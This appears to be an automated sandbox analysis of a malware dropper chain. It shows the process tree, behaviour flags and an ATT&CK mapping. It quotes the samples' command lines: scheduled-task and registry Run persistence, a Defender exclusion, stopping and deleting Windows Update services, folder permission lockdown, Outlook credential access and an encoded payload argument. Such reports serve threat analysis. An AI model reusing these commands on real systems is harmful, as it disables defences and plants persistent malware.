PID 1948 wrote to memory of 4872	1948	file.exe	82
PID 1948 wrote to memory of 4872	1948	file.exe	82
PID 1948 wrote to memory of 4872	1948	file.exe	82
PID 1948 wrote to memory of 5028	1948	file.exe	83
PID 1948 wrote to memory of 5028	1948	file.exe	83
PID 1948 wrote to memory of 5028	1948	file.exe	83
PID 1948 wrote to memory of 4932	1948	file.exe	84
PID 1948 wrote to memory of 4932	1948	file.exe	84
PID 4872 wrote to memory of 1520	4872	Player3.exe	85
PID 4872 wrote to memory of 1520	4872	Player3.exe	85
PID 4872 wrote to memory of 1520	4872	Player3.exe	85
PID 4896 wrote to memory of 1008	4896	liuyuzhen.exe	86
PID 4896 wrote to memory of 1008	4896	liuyuzhen.exe	86
PID 4896 wrote to memory of 1008	4896	liuyuzhen.exe	86
PID 1520 wrote to memory of 1444	1520	nbveek.exe	88
PID 1520 wrote to memory of 1444	1520	nbveek.exe	88
PID 1520 wrote to memory of 1444	1520	nbveek.exe	88
PID 1520 wrote to memory of 3416	1520	nbveek.exe	90
PID 1520 wrote to memory of 3416	1520	nbveek.exe	90
PID 1520 wrote to memory of 3416	1520	nbveek.exe	90
PID 4932 wrote to memory of 888	4932	birges.exe	92
PID 4932 wrote to memory of 888	4932	birges.exe	92
PID 4932 wrote to memory of 888	4932	birges.exe	92
PID 4932 wrote to memory of 888	4932	birges.exe	92
PID 4932 wrote to memory of 888	4932	birges.exe	92
PID 4932 wrote to memory of 888	4932	birges.exe	92
PID 4932 wrote to memory of 888	4932	birges.exe	92
PID 4932 wrote to memory of 888	4932	birges.exe	92
PID 4932 wrote to memory of 888	4932	birges.exe	92
PID 3416 wrote to memory of 3280	3416	cmd.exe	93
PID 3416 wrote to memory of 3280	3416	cmd.exe	93
PID 3416 wrote to memory of 3280	3416	cmd.exe	93
PID 3416 wrote to memory of 4112	3416	cmd.exe	94
PID 3416 wrote to memory of 4112	3416	cmd.exe	94
PID 3416 wrote to memory of 4112	3416	cmd.exe	94
PID 3416 wrote to memory of 112	3416	cmd.exe	95
PID 3416 wrote to memory of 112	3416	cmd.exe	95
PID 3416 wrote to memory of 112	3416	cmd.exe	95
PID 3416 wrote to memory of 3892	3416	cmd.exe	96
PID 3416 wrote to memory of 3892	3416	cmd.exe	96
PID 3416 wrote to memory of 3892	3416	cmd.exe	96
PID 3416 wrote to memory of 2500	3416	cmd.exe	97
PID 3416 wrote to memory of 2500	3416	cmd.exe	97
PID 3416 wrote to memory of 2500	3416	cmd.exe	97
PID 3416 wrote to memory of 3776	3416	cmd.exe	99
PID 3416 wrote to memory of 3776	3416	cmd.exe	99
PID 3416 wrote to memory of 3776	3416	cmd.exe	99
PID 2980 wrote to memory of 824	2980	rundll32.exe	100
PID 2980 wrote to memory of 824	2980	rundll32.exe	100
PID 2980 wrote to memory of 824	2980	rundll32.exe	100
PID 1520 wrote to memory of 872	1520	nbveek.exe	101
PID 1520 wrote to memory of 872	1520	nbveek.exe	101
PID 1520 wrote to memory of 3908	1520	nbveek.exe	105
PID 1520 wrote to memory of 3908	1520	nbveek.exe	105
PID 1520 wrote to memory of 3908	1520	nbveek.exe	105
PID 3908 wrote to memory of 376	3908	random.exe	107
PID 3908 wrote to memory of 376	3908	random.exe	107
PID 3908 wrote to memory of 376	3908	random.exe	107
PID 1520 wrote to memory of 464	1520	nbveek.exe	109

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	rundll32.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	rundll32.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:784
- C:\Users\Admin\AppData\Local\Temp\file.exe
  "C:\Users\Admin\AppData\Local\Temp\file.exe"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:1948
- - C:\Users\Admin\AppData\Local\Temp\pb1111.exe
    "C:\Users\Admin\AppData\Local\Temp\pb1111.exe"
    3⤵
    - Executes dropped EXE
    PID:4968
- - C:\Users\Admin\AppData\Local\Temp\liuyuzhen.exe
    "C:\Users\Admin\AppData\Local\Temp\liuyuzhen.exe"
    3⤵
    - Executes dropped EXE
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:4896
  - - C:\Users\Admin\AppData\Local\Temp\liuyuzhen.exe
      "C:\Users\Admin\AppData\Local\Temp\liuyuzhen.exe" -h
      4⤵
      Executes dropped EXE
      PID:1008
- - C:\Users\Admin\AppData\Local\Temp\Player3.exe
    "C:\Users\Admin\AppData\Local\Temp\Player3.exe"
    3⤵
    - Executes dropped EXE
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:4872
  - - C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
      "C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe"
      4⤵
      Executes dropped EXE
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:1520
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN nbveek.exe /TR "C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe" /F
        5⤵
        Creates scheduled task(s)
        
        PID:1444
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "nbveek.exe" /P "Admin:N"&&CACLS "nbveek.exe" /P "Admin:R" /E&&echo Y|CACLS "..\16de06bfb4" /P "Admin:N"&&CACLS "..\16de06bfb4" /P "Admin:R" /E&&Exit
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3416
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        6⤵
        
        PID:3280
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "nbveek.exe" /P "Admin:N"
        6⤵
        
        PID:4112
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "nbveek.exe" /P "Admin:R" /E
        6⤵
        
        PID:112
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        6⤵
        
        PID:3892
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\16de06bfb4" /P "Admin:N"
        6⤵
        
        PID:2500
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\16de06bfb4" /P "Admin:R" /E
        6⤵
        
        PID:3776
    - - C:\Users\Admin\AppData\Local\Temp\1000089001\pb1111.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000089001\pb1111.exe"
        5⤵
        Executes dropped EXE
        
        PID:872
    - - C:\Users\Admin\AppData\Local\Temp\1000090001\random.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000090001\random.exe"
        5⤵
        Executes dropped EXE
        Checks computer location settings
        Suspicious use of WriteProcessMemory
        
        PID:3908
      - C:\Users\Admin\AppData\Local\Temp\1000090001\random.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000090001\random.exe" -h
        6⤵
        Executes dropped EXE
        
        PID:376
    - - C:\Users\Admin\AppData\Local\Temp\1000091001\XandETC.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000091001\XandETC.exe"
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Drops file in Program Files directory
        
        PID:464
      - C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
        6⤵
        
        PID:3472
        
        C:\Windows\System32\powercfg.exe
        
        powercfg /x -hibernate-timeout-ac 0
        7⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4108
        
        C:\Windows\System32\powercfg.exe
        
        powercfg /x -hibernate-timeout-dc 0
        7⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5012
        
        C:\Windows\System32\powercfg.exe
        
        powercfg /x -standby-timeout-ac 0
        7⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2384
        
        C:\Windows\System32\powercfg.exe
        
        powercfg /x -standby-timeout-dc 0
        7⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4312
    - - C:\Users\Admin\AppData\Local\Temp\1000092001\ChromeSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000092001\ChromeSetup.exe"
        5⤵
        Executes dropped EXE
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        
        PID:1236
    - - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dll, Main
        5⤵
        Loads dropped DLL
        
        PID:4340
      - C:\Windows\system32\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dll, Main
        6⤵
        Loads dropped DLL
        
        PID:4844
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 4844 -s 680
        7⤵
        Program crash
        
        PID:3968
- - C:\Users\Admin\AppData\Local\Temp\ChromeSetup.exe
    "C:\Users\Admin\AppData\Local\Temp\ChromeSetup.exe"
    3⤵
    - Executes dropped EXE
    - Checks SCSI registry key(s)
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    PID:5028
- - C:\Users\Admin\AppData\Local\Temp\birges.exe
    "C:\Users\Admin\AppData\Local\Temp\birges.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:4932
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess32.exe"
      4⤵
      PID:888
- C:\Users\Admin\AppData\Local\Temp\F9C6.exe
  C:\Users\Admin\AppData\Local\Temp\F9C6.exe
  2⤵
  - Executes dropped EXE
  PID:1620
- - C:\Windows\SysWOW64\rundll32.exe
    C:\Windows\system32\rundll32.exe C:\Users\Admin\AppData\Local\Temp\Eorppuwwrieiyod.dll,start
    3⤵
    - Blocklisted process makes network request
    - Loads dropped DLL
    - Accesses Microsoft Outlook accounts
    - Accesses Microsoft Outlook profiles
    - Suspicious use of SetThreadContext
    - Checks processor information in registry
    - Suspicious use of FindShellTrayWindow
    - outlook_office_path
    - outlook_win_path
    PID:5096
  - - C:\Windows\system32\rundll32.exe
      "C:\Windows\system32\rundll32.exe" "C:\Windows\system32\shell32.dll",#61 23727
      4⤵
      Modifies registry class
      Suspicious use of FindShellTrayWindow
      PID:4708
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /End /tn \Microsoft\Windows\Wininet\CacheTask
      4⤵
      PID:2248
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /Run /tn \Microsoft\Windows\Wininet\CacheTask
      4⤵
      PID:960
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1620 -s 296
    3⤵
    - Program crash
    PID:1032
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:396
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  PID:2256
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:2928
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:2480
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:2672
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:3340
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:4792
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:1448
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:1264
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:2252
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:2704
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:4752
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3060
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#iqegjinl#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "NoteUpdateTaskMachineQC" } Else { "C:\Program Files\Notepad\Chrome\updater.exe" }
  2⤵
  PID:928
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn NoteUpdateTaskMachineQC
    3⤵
    PID:2556
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:3416
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:1560
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    PID:5036
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    PID:2796
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:3924
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:1264
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  PID:1140
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:2296
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:3340
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:4480
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:4768
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:1132
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:1100
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:2196
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    PID:3044
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:2548
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:4280
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:2680
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:1372
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    PID:2328
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe zuhwtyqtfkk
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  PID:1428
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:2496
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe ozascextlcafxrlv 6E3sjfZq2rJQaxvLPmXgsH8HqLgRgcx0/LVDxBdghhCp2+hEkY7tykSHwITYgOlci3ytMC8bvXFdgLfubt31d00EGUNZvUBUebLdyQcn06lc9XyK+SQQg4bEvwPCdT2KYoSnyaznjkuq+t/WEmnCxetIZsxpO3p/zzwJI2q0v1rwbWjqgzbDndc3ETa3aKYf8EOpU9uqIUcKKIP5glSGIF5NNBIQIOxiwAszeRmTD+ssM2JwNB+ZJXRJvy123U7UEXSTx71FLoxpDYVaIMhOE++Mr3hazCz1q4t4s5o8+wL0kdpUV5VnrG7JmlnWotU5n89qBghGm+y6SMYnw4GovlYYIKPio/EJCBO4ISkMSM9oXvdK2xwDd7nOPHNI0ub2+9+yDpmbkJhXPRjLmh8EzH9no+cA8XXsDqc7l4Il6Q8HZCkxxQKp3X7QrvGtORgpsiUFRUsjuuqKF8OZDBQ643uz5XTg02QKOJfFPdU0JLRX+q6NZJdak+3EYZdI36Zgtv5L8IJAttmNYCJqIJTseVMH04bRJ5WBnXqRYehi2MM0O1YRQDI8kKVhBta2xSurnVpcEWelFYwmZuF8Vd3YhHb8yAOoY//KgjosTtbU5Co=
  2⤵
  - Modifies data under HKEY_USERS
  PID:2396

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",open
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2980
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",open
  2⤵
  - Loads dropped DLL
  PID:824
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 824 -s 608
    3⤵
    - Program crash
    PID:3468

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 824 -ip 824
1⤵
PID:1724

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",open
1⤵
- Process spawned unexpected child process
PID:2948
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",open
  2⤵
  - Loads dropped DLL
  PID:3328
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3328 -s 604
    3⤵
    - Program crash
    PID:3744

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 3328 -ip 3328
1⤵
PID:2576

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 188 -p 1620 -ip 1620
1⤵
PID:3888

C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
1⤵
- Executes dropped EXE
PID:3288

C:\Users\Admin\AppData\Roaming\ttirrwa
C:\Users\Admin\AppData\Roaming\ttirrwa
1⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:4740

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 508 -p 4844 -ip 4844
1⤵
PID:1824

C:\Program Files\Notepad\Chrome\updater.exe
"C:\Program Files\Notepad\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
PID:3940

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3488

C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
1⤵
- Executes dropped EXE
PID:4844

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery